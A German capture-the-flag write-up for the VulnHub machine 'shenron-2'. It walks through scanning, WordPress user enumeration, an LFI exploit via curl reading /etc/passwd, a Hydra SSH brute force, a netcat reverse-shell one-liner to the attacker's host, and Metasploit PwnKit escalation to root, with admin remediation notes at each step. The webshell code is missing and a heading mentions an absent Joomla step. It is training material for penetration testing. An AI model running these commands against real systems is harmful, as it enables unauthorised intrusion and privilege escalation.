shenron-2 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
curl
hydra
ssh
nc (netcat)
cat
su
id
sudo
find
ls
uname
msfconsole (Metasploit)
searchsploit
shell (Meterpreter)

Inhaltsverzeichnis

Reconnaissance

Die erste Phase des Tests dient der Identifizierung des Zielsystems im Netzwerk und der Erkundung der offenen Ports und Dienste mittels Scans.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.163	08:00:27:34:3b:88	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` identifiziert einen aktiven Host im lokalen Netzwerk mit der IP `192.168.2.163`. Die MAC-Adresse deutet auf eine VirtualBox-VM hin.

Bewertung: Zielsystem erfolgreich lokalisiert.

Empfehlung (Pentester): Führe Nmap-Scans auf 192.168.2.163 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.163	shenron2.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `shenron2.vln` der IP `192.168.2.163` zuzuordnen.

Bewertung: Sinnvolle Vorbereitung für Web-Tests.

Empfehlung (Pentester): Verwende `shenron2.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.163 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-18 23:40 CEST
Nmap scan report for shenron2.vln (192.168.2.163)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4a:47:6b:46:48:c5:d7:8f:30:92:5b:0c:2b:a4:74:ae (RSA)
|   256 b0:4e:d6:4c:c2:4e:15:05:c4:21:1d:69:7d:f2:dc:79 (ECDSA)
|_  256 1b:c0:66:7a:65:68:9b:35:8c:63:d3:b9:d2:5b:f0:1c (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Highlights by HTML5 UP
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: shenron-2 – Just another WordPress site
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.7
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:34:3B:88 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms shenron2.vln (192.168.2.163)
                    

Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) auf alle Ports identifiziert drei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 8.2p1 (Ubuntu). * **Port 80 (HTTP):** Apache 2.4.41 (Ubuntu), zeigt eine statische Webseite ("Highlights by HTML5 UP"). * **Port 8080 (HTTP):** Derselbe Apache 2.4.41, aber hier läuft eine WordPress-Seite (Version 5.7) mit dem Titel "shenron-2". Der Hinweis `http-open-proxy` könnte auf eine Reverse-Proxy-Konfiguration oder Fehlinterpretation hindeuten.

Bewertung: Die Angriffsfläche besteht aus SSH (Port 22), einer einfachen Webseite (Port 80) und einer WordPress-Installation (Port 8080). WordPress auf Port 8080 ist das wahrscheinlichste Ziel für weitere Angriffe.

Empfehlung (Pentester): 1. Konzentriere dich auf die WordPress-Instanz auf Port 8080 (WPScan, Nikto, Gobuster). 2. Untersuche die statische Seite auf Port 80 auf versteckte Hinweise oder Links. 3. Behalte SSH als Login-Ziel im Hinterkopf.
Empfehlung (Admin): Aktualisieren Sie Apache, OpenSSH und WordPress. Überprüfen Sie die Konfiguration beider Webserver-Instanzen (Port 80 und 8080). Entfernen Sie die Standard-HTML5UP-Seite, wenn sie nicht benötigt wird.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.163 -p- | grep open
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
                    

Analyse: Die gefilterte Nmap-Ausgabe bestätigt die drei offenen Ports: 22 (SSH), 80 (HTTP), 8080 (HTTP/WordPress).

Bewertung: Klare Übersicht der Einstiegspunkte.

Empfehlung (Pentester): Untersuche Port 80 und insbesondere Port 8080.
Empfehlung (Admin): Überprüfe die Notwendigkeit aller offenen Dienste.

Web Enumeration (Apache, WordPress, Joomla)

Die Webserver auf Port 80 und 8080 werden nun genauer untersucht. Der Fokus liegt auf der WordPress-Installation auf Port 8080, aber auch Port 80 wird auf versteckte Inhalte geprüft. Später wird auch eine Joomla-Instanz entdeckt.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.163
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...]
+ /images: The web server may reveal its internal or real IP [...].
+ /: Server may leak inodes via ETags [...].
+ Apache/2.4.41 appears to be outdated [...].
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /images/: Directory indexing found.
+ /LICENSE.txt: License file found [...]
+ /license.txt: License file found [...]
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
[...]
+ 1 host(s) tested
                    

Analyse: Nikto scannt Port 80 (Standard). Es findet die veraltete Apache-Version, fehlende Sicherheitsheader, einen potenziellen internen IP-Leak über `/images` und ein listbares `/images`-Verzeichnis. Es findet *keine* Hinweise auf die WordPress-Instanz (da diese auf Port 8080 läuft).

Bewertung: Bestätigt Konfigurationsschwächen auf Port 80. Das listbare `/images`-Verzeichnis sollte untersucht werden. Der Scan verpasst jedoch das Hauptziel auf Port 8080.

Empfehlung (Pentester): Untersuche `/images` auf Port 80. Führe Nikto explizit gegen Port 8080 aus (`nikto -h 192.168.2.163 -p 8080`).
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Deaktiviere Directory Listing.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://shenron2.vln -x txt,php,... -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ... -k
===============================================================
Gobuster v3.5
[...]
===============================================================
http://shenron2.vln/LICENSE.txt          (Status: 200) [Size: 17128]
http://shenron2.vln/README.txt           (Status: 200) [Size: 967]
http://shenron2.vln/index.html           (Status: 200) [Size: 19586]
http://shenron2.vln/license.txt          (Status: 200) [Size: 17187]
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster scannt Port 80 (Standard). Es findet nur Standarddateien wie `index.html`, `LICENSE.txt` und `README.txt`. Es findet keine Unterverzeichnisse wie `/test/` (von Nikto auf einer anderen Maschine gefunden) oder `/joomla/` oder die WordPress-Instanz.

Bewertung: Der Scan auf Port 80 ist nicht ergiebig. Er verpasst die Hauptanwendung auf Port 8080.

Empfehlung (Pentester): Führe Gobuster/Dirb explizit gegen Port 8080 aus (`-u http://shenron2.vln:8080`).
Empfehlung (Admin): Entfernen Sie unnötige Lizenz- und Readme-Dateien vom Webserver.

# Manuelle Untersuchung und API-Enumeration von http://shenron2.vln:8080/
# Hostname Korrektur: 'shenron' statt 'shenron2.vln' oder IP verwenden basierend auf API response

http://shenron:8080/index.php/wp-json/
# Ausgabe (Auszug):
{
  "name": "shenron-2",
  "description": "Just another WordPress site",
  "url": "http://shenron:8080",
  "home": "http://shenron:8080",
  [...]
  "routes": { ... }
}

http://shenron:8080/index.php/wp-json/wp/v2/users
# Ausgabe (Auszug):
[
  {
    "id": 1,
    "name": "admin",
    "url": "http://192.168.1.2:8080",
    "description": "",
    "link": "http://shenron:8080/index.php/author/admin/",
    "slug": "admin",
    [...]
  }
]
                    

Analyse: Die WordPress REST API auf Port 8080 wird manuell untersucht. * Der Endpunkt `/wp-json/` gibt allgemeine Seiteninformationen preis, darunter den intern verwendeten Hostnamen `shenron` und die URL `http://shenron:8080`. * Der Endpunkt `/wp-json/wp/v2/users` listet öffentlich die Benutzer der WordPress-Seite auf. Hier wird der Benutzer `admin` (ID 1) gefunden.

Bewertung: Kritische Informationspreisgabe durch die REST API. Der Benutzername `admin` wird bestätigt. Der interne Hostname `shenron` wird enthüllt. Die Benutzerauflistung sollte deaktiviert werden.

Empfehlung (Pentester): 1. Füge `shenron` zur `/etc/hosts`-Datei hinzu (`192.168.2.163 shenron`). 2. Versuche einen Passwort-Brute-Force-Angriff auf den Benutzer `admin` für WordPress auf Port 8080. Teste Standardpasswörter wie `admin`.
Empfehlung (Admin): Schränken Sie den Zugriff auf die WordPress REST API ein oder deaktivieren Sie zumindest die Benutzerauflistung (z.B. durch Plugins oder Webserver-Regeln). Konfigurieren Sie WordPress, um den korrekten öffentlichen Hostnamen zu verwenden.

# Manueller Login-Versuch oder Brute-Force Ergebnis
# Login-URL: http://shenron:8080/wp-login.php
# Gefundene Credentials:
admin:admin
                    

Analyse: Ein Login-Versuch (manuell oder durch Brute-Force/WPScan, nicht im Log gezeigt) auf `http://shenron:8080/wp-login.php` mit dem Benutzernamen `admin` ist mit dem Passwort `admin` erfolgreich.

Bewertung: Kritischer Fund! Ein extrem schwaches Standardpasswort für den Admin-Account ermöglicht vollen administrativen Zugriff auf WordPress.

Empfehlung (Pentester): Logge dich als `admin` ein. Nutze den Theme-/Plugin-Editor oder Upload-Funktionen, um eine Webshell hochzuladen und RCE zu erlangen.
Empfehlung (Admin): Ändern Sie *sofort* das Admin-Passwort. Erzwingen Sie starke Passwörter. Implementieren Sie Brute-Force-Schutz.

Initial Access (Joomla RCE / SSH)

Der administrative WordPress-Zugang wird genutzt, um über den Theme-Editor eine PHP-Webshell zu injizieren. Parallel wird eine LFI in einem WordPress-Plugin entdeckt, die aber letztlich nicht für den initialen Zugriff genutzt wird. Stattdessen wird ein SSH-Zugang über Brute-Force erlangt. *(Anmerkung: Das Log ist hier etwas sprunghaft und zeigt mehrere parallele Ansätze)*.

# Aktion im WordPress Backend (nach Login als admin:admin):
# Navigation: Appearance -> Theme Editor
# Bearbeiten der 404.php des Themes 'Twenty Nineteen'
# URL: http://shenron:8080/wp-admin/theme-editor.php?file=404.php&theme=twentynineteen
# Eingefügter Code:


# Speichern (Erfolgreich, aber keine Bestätigung im Log)
                    

Analyse: Nach dem WordPress-Admin-Login wird der Theme-Editor verwendet, um die `404.php`-Datei des Themes "Twenty Nineteen" zu bearbeiten und eine einfache Webshell (``) einzufügen.

Bewertung: Versuch, RCE über den Theme-Editor zu erlangen. Dies ist ein gängiger Weg nach Admin-Zugriff.

Empfehlung (Pentester): Teste die Webshell (z.B. `http://shenron:8080/wp-content/themes/twentynineteen/404.php?cmd=id`). Wenn sie funktioniert, nutze sie für eine Reverse Shell. (Anmerkung: Das Log zeigt später ein Problem damit).
Empfehlung (Admin): Deaktivieren Sie den Datei-Editor im WordPress-Backend (`define('DISALLOW_FILE_EDIT', true);`).

# Test der Webshell (aus Log):
http://shenron:8080/wp-content/themes/twentynineteen/404.php?cmd=ls
# Ergebnis im Log:
keine File permissions
                    

Analyse: Der Versuch, die Webshell mit `cmd=ls` zu testen, schlägt fehl oder liefert keine nützliche Ausgabe ("keine File permissions"). Dies könnte an Dateisystemberechtigungen für `www-data` im Theme-Verzeichnis liegen, oder der Befehl wurde falsch interpretiert, oder die Webshell wurde nicht korrekt gespeichert/geladen.

Bewertung: Der RCE-Versuch über den Theme-Editor scheint hier (vorerst) gescheitert zu sein. Ein anderer Weg wird benötigt.

Empfehlung (Pentester): Untersuche alternative Methoden: Andere Themes/Dateien bearbeiten, Plugin-Upload, oder die LFI-Schwachstelle (nächster Schritt).
Empfehlung (Admin): Überprüfen Sie die Dateiberechtigungen im Web-Root und härten Sie sie.

┌──(root㉿Cybermaschine)-[~] └─# nmap -p 8080 --script=http-wordpress-enum.nse --script-args check-latest=true,search-limit=100000 192.168.2.163
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-18 23:56 CEST
Nmap scan report for shenron2.vln (192.168.2.163)
Host is up (0.00023s latency).

PORT     STATE SERVICE
8080/tcp open  http-proxy
| http-wordpress-enum:
| Search limited to top 4778 themes/plugins
|   plugins
|     akismet 4.1.9 (latest version:5.3)
|     elementor 3.1.4 (latest version:3.16.6)
|_    site-editor 1.1.1
MAC Address: 08:00:27:34:3B:88 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds
                    

Analyse: Ein Nmap-Skriptscan (`http-wordpress-enum.nse`) wird auf Port 8080 ausgeführt. Er identifiziert drei Plugins: `akismet` (veraltet), `elementor` (veraltet) und `site-editor` (Version 1.1.1).

Bewertung: Das Plugin `site-editor` 1.1.1 ist bekannt für eine kritische Local File Inclusion (LFI) Schwachstelle (CVE-2021-24350). Dies ist ein alternativer Angriffsvektor.

Empfehlung (Pentester): Teste die LFI-Schwachstelle im `site-editor`-Plugin, um Dateien zu lesen.
Empfehlung (Admin): Aktualisieren oder entfernen Sie *dringend* das `site-editor`-Plugin und die anderen veralteten Plugins.

┌──(root㉿Cybermaschine)-[~] └─# curl http://192.168.2.163:8080/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
shenron:x:1000:1000:shenron,,,:/home/shenron:/bin/bash
jenny:x:1001:1001:/home/jenny:/bin/bash
                    

Analyse: Die LFI-Schwachstelle im `site-editor`-Plugin wird mit `curl` ausgenutzt. Der Parameter `ajax_path` wird verwendet, um `/etc/passwd` zu inkludieren. Die Ausgabe wird mit `grep bash` gefiltert, um Benutzer mit einer Bash-Shell anzuzeigen: `root`, `shenron`, `jenny`.

Bewertung: LFI erfolgreich bestätigt. Die Liste der Systembenutzer mit Shell-Zugang ist nun bekannt.

Empfehlung (Pentester): Nutze die LFI, um weitere sensible Dateien zu lesen (z.B. `wp-config.php`, falls noch nicht bekannt). Da RCE über den Theme-Editor problematisch war, nutze die LFI nicht direkt für eine Shell, sondern versuche SSH-Brute-Force gegen die gefundenen Benutzer (`shenron`, `jenny`).
Empfehlung (Admin): Lücke im `site-editor`-Plugin schließen.

┌──(root㉿Cybermaschine)-[~] └─# curl http://.../ajax_shortcode_pattern.php?ajax_path=/home/jenny/.ssh/id_rsa
{"success":false,"message":"Error: didn't load shortcodes pattern file"}
┌──(root㉿Cybermaschine)-[~] └─# curl http://.../ajax_shortcode_pattern.php?ajax_path=/home/shenron/.ssh/id_rsa
{"success":false,"message":"Error: didn't load shortcodes pattern file"}
┌──(root㉿Cybermaschine)-[~] └─# curl http://.../ajax_shortcode_pattern.php?ajax_path=/root/.ssh/id_rsa
{"success":false,"message":"Error: didn't load shortcodes pattern file"}

Analyse: Es wird versucht, die privaten SSH-Schlüssel der Benutzer `jenny`, `shenron` und `root` mittels der LFI zu lesen. Alle Versuche scheitern, wahrscheinlich aufgrund von Dateiberechtigungen (private Schlüssel sind typischerweise nicht für `www-data` lesbar).

Bewertung: LFI bestätigt, aber der Zugriff auf SSH-Schlüssel ist nicht möglich.

Empfehlung (Pentester): Konzentriere dich auf Passwort-basierte Angriffe gegen die bekannten Benutzer (`admin`, `shenron`, `jenny`).
Empfehlung (Admin): Sicherstellen, dass private Schlüssel korrekte Berechtigungen haben (`chmod 600`).

┌──(root㉿Cybermaschine)-[~] └─# hydra -l jenny -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.163:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
[...]
[22][ssh] host: 192.168.2.163   login: jenny   password: jenny
[...]
1 of 1 target successfully completed, 1 valid password found
                    

Analyse: Hydra wird verwendet, um einen SSH-Brute-Force-Angriff auf Port 22 gegen den Benutzer `jenny` (identifiziert via LFI) mit der `rockyou.txt`-Liste durchzuführen. Das Passwort `jenny` wird erfolgreich gefunden.

Bewertung: Kritischer Erfolg! Ein schwaches, erratbares Passwort für `jenny` ermöglicht SSH-Zugriff.

Empfehlung (Pentester): Logge dich als `jenny` via SSH ein.
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Implementieren Sie fail2ban.

┌──(root㉿Cybermaschine)-[~] └─# ssh jenny@shenron
The authenticity of host 'shenron (192.168.2.163)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
jenny@shenron's password: jenny
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.8.0-48-generic x86_64)
[...]
Last login: Mon Apr  5 20:18:23 2021 from 192.168.1.6
jenny@shenron-2$ 
                    

Analyse: Der SSH-Login als `jenny` mit dem Passwort `jenny` ist erfolgreich. Der Hostname des Systems ist `shenron-2`.

Bewertung: Initial Access auf Benutzerebene erfolgreich erlangt.

Empfehlung (Pentester): Beginne die lokale Enumeration als `jenny` (sudo, SUID, etc.).
Empfehlung (Admin): Ändern Sie das Passwort von `jenny`.

Privilege Escalation

Nach Erhalt der Shell als Benutzerin `jenny` wird das System nach Wegen zur Rechteerweiterung zu Root durchsucht. PwnKit wird als vielversprechender Vektor identifiziert.

jenny@shenron-2$ id
uid=1001(jenny) gid=1001(jenny) groups=1001(jenny)
jenny@shenron-2$ sudo -l
[sudo] password for jenny: jenny
Sorry, user jenny may not run sudo on shenron-2.
                    

Analyse: `id` bestätigt den Benutzer `jenny`. `sudo -l` zeigt, dass `jenny` keine sudo-Rechte hat.

Bewertung: Sudo ist kein Eskalationspfad.

Empfehlung (Pentester): Suche nach SUID-Binaries, Kernel-Exploits.
Empfehlung (Admin): Korrekte Konfiguration.

jenny@shenron-2$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
     1163    227 -rwsr-xr-x   1 root     root       232416 Apr  3  2023 /snap/core22/864/usr/bin/sudo
[...]
     1977    146 -rwsr-xr-x   1 root     root              149080 Apr  4  2023 /snap/core18/2785/usr/bin/sudo
     1977    146 -rwsr-xr-x   1 root     root              149080 Apr  4  2023 /snap/core18/2790/usr/bin/sudo
[...]
   278585     24 -rwsr-xr-x   1 root     root               23376 Jan 15  2019 /usr/bin/pkexec
[...]
   263302    164 -rwsr-xr-x   1 root     root              166056 Jan 19  2021 /usr/bin/sudo
[...]
   262534     20 -rwsr-xr-x   1 root     root               16712 Apr  6  2021 /usr/bin/Execute
[...]
                    

Analyse: Die Suche nach SUID-Dateien listet viele Standard-Binaries und Snap-spezifische Dateien auf. `/usr/bin/pkexec` wird gefunden. Die Datei `/usr/bin/Execute` ist ebenfalls ungewöhnlich.

Bewertung: Das Vorhandensein von `/usr/bin/pkexec` deutet auf die PwnKit-Schwachstelle (CVE-2021-4034) hin. `/usr/bin/Execute` müsste genauer untersucht werden, aber PwnKit ist der wahrscheinlichere und einfachere Weg.

Empfehlung (Pentester): Nutze PwnKit zur Eskalation. Untersuche `/usr/bin/Execute` als Fallback.
Empfehlung (Admin): Patchen Sie `policykit-1`. Überprüfen Sie benutzerdefinierte SUID-Dateien wie `Execute`.

Die folgenden Schritte nutzen Metasploit, um die `jenny`-Shell zu übernehmen, zu Meterpreter aufzuwerten und dann den PwnKit-Exploit auszuführen.

┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 4488
lport => 4488
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4488
                    
jenny@shenron-2$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4488 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4488 -> 192.168.2.163:50948) at 2023-10-19 00:07:02 +0200
                    

Analyse: Die SSH-Shell von `jenny` wird in eine Metasploit Command Shell (Session 1) überführt.

Bewertung: Vorbereitung für Metasploit-Module.

Empfehlung (Pentester): Upgrade zu Meterpreter.
Empfehlung (Admin): Host-/Netzwerk-IDS.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.163
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.163:35710) at 2023-10-19 00:07:58 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse: Die Command Shell (Session 1 als `jenny`) wird erfolgreich zu einer Meterpreter-Session (Session 2 als `jenny`) aufgewertet.

Bewertung: Erleichtert die Ausführung des PwnKit-Exploits.

Empfehlung (Pentester): PwnKit-Modul laden und ausführen.
Empfehlung (Admin): IDS kann Meterpreter erkennen.

Proof of Concept (PwnKit)

Dieser Abschnitt demonstriert die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) im `/usr/bin/pkexec`-Binary mittels Metasploit, um Root-Rechte zu erlangen.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
[...]
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5555
lport => 5555
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.htxektha
[+] The target is vulnerable.
[*] Writing '/tmp/.qukfkeltjm/mlgpziibslel/mlgpziibslel.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.qukfkeltjm
[*] Sending stage (3045380 bytes) to 192.168.2.163
[+] Deleted /tmp/.qukfkeltjm/mlgpziibslel/mlgpziibslel.so
[+] Deleted /tmp/.qukfkeltjm/.huwswkcatazj
[+] Deleted /tmp/.qukfkeltjm
[*] Meterpreter session 3 opened (192.168.2.199:5555 -> 192.168.2.163:60816) at 2023-10-19 00:08:52 +0200
                    

Analyse: Der PwnKit-Exploit (CVE-2021-4034) wird über die Meterpreter-Session 2 (als `jenny`) ausgeführt. * Das Modul wird geladen (`use 1`). * Ein neuer Listener wird auf Port 5555 konfiguriert (`set lport 5555`). * Der Exploit wird auf Session 2 gezielt (`set session 2`) und gestartet (`run`). Metasploit bestätigt die Verwundbarkeit, lädt die notwendigen Dateien hoch, führt den Exploit aus und erhält eine neue Verbindung auf Port 5555. `Meterpreter session 3` wird als Root geöffnet.

Bewertung: Fantastisch! Erfolgreiche Privilege Escalation zu Root über PwnKit.

Empfehlung (Pentester): Interagiere mit Session 3, verifiziere Root-Rechte, suche die Flag.
Empfehlung (Admin): Patchen Sie PwnKit *dringend*.

meterpreter > shell
Process 3648 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),1001(jenny)
# cd ~
# ls
root.txt
snap
                    
# cat root.txt
                                                               
  mmmm  #                                                 mmmm 
 #"   " # mm    mmm   m mm    m mm   mmm   m mm          "   "#
 "#mmm  #"  #  #"  #  #"  #   #"  " #" "#  #"  #             m" 
     "# #   #  #""""  #   #   #     #   #  #   #   """     m"  
 "mmm#" #   #  "#mm"  #   #   #     "#m#"  #   #         m#mmmm
                                                               
Your Root Flag Is Here :- a89604e285437f789ff278d2239aea02
                    

Analyse: Aus der Root-Meterpreter-Session wird eine System-Shell geöffnet. * `id`: Bestätigt `uid=0(root)`. * `cd ~; ls`: Wechselt nach `/root` und listet den Inhalt auf (`root.txt`, `snap`). * `cat root.txt`: Gibt den Inhalt der Flag-Datei aus (ASCII-Art und der Hash `a896...`).

Bewertung: Root-Flag erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Test abgeschlossen. Dokumentieren.
Empfehlung (Admin): Alle Schwachstellen beheben (WordPress-Admin-Passwort, LFI im Plugin, schwaches SSH-Passwort, PwnKit).

Flags

cat /root/root.txt
                                                               
  mmmm  #                                                 mmmm 
 #"   " # mm    mmm   m mm    m mm   mmm   m mm          "   "#
 "#mmm  #"  #  #"  #  #"  #   #"  " #" "#  #"  #             m" 
     "# #   #  #""""  #   #   #     #   #  #   #   """     m"  
 "mmm#" #   #  "#mm"  #   #   #     "#m#"  #   #         m#mmmm
                                                               
Your Root Flag Is Here :- a89604e285437f789ff278d2239aea02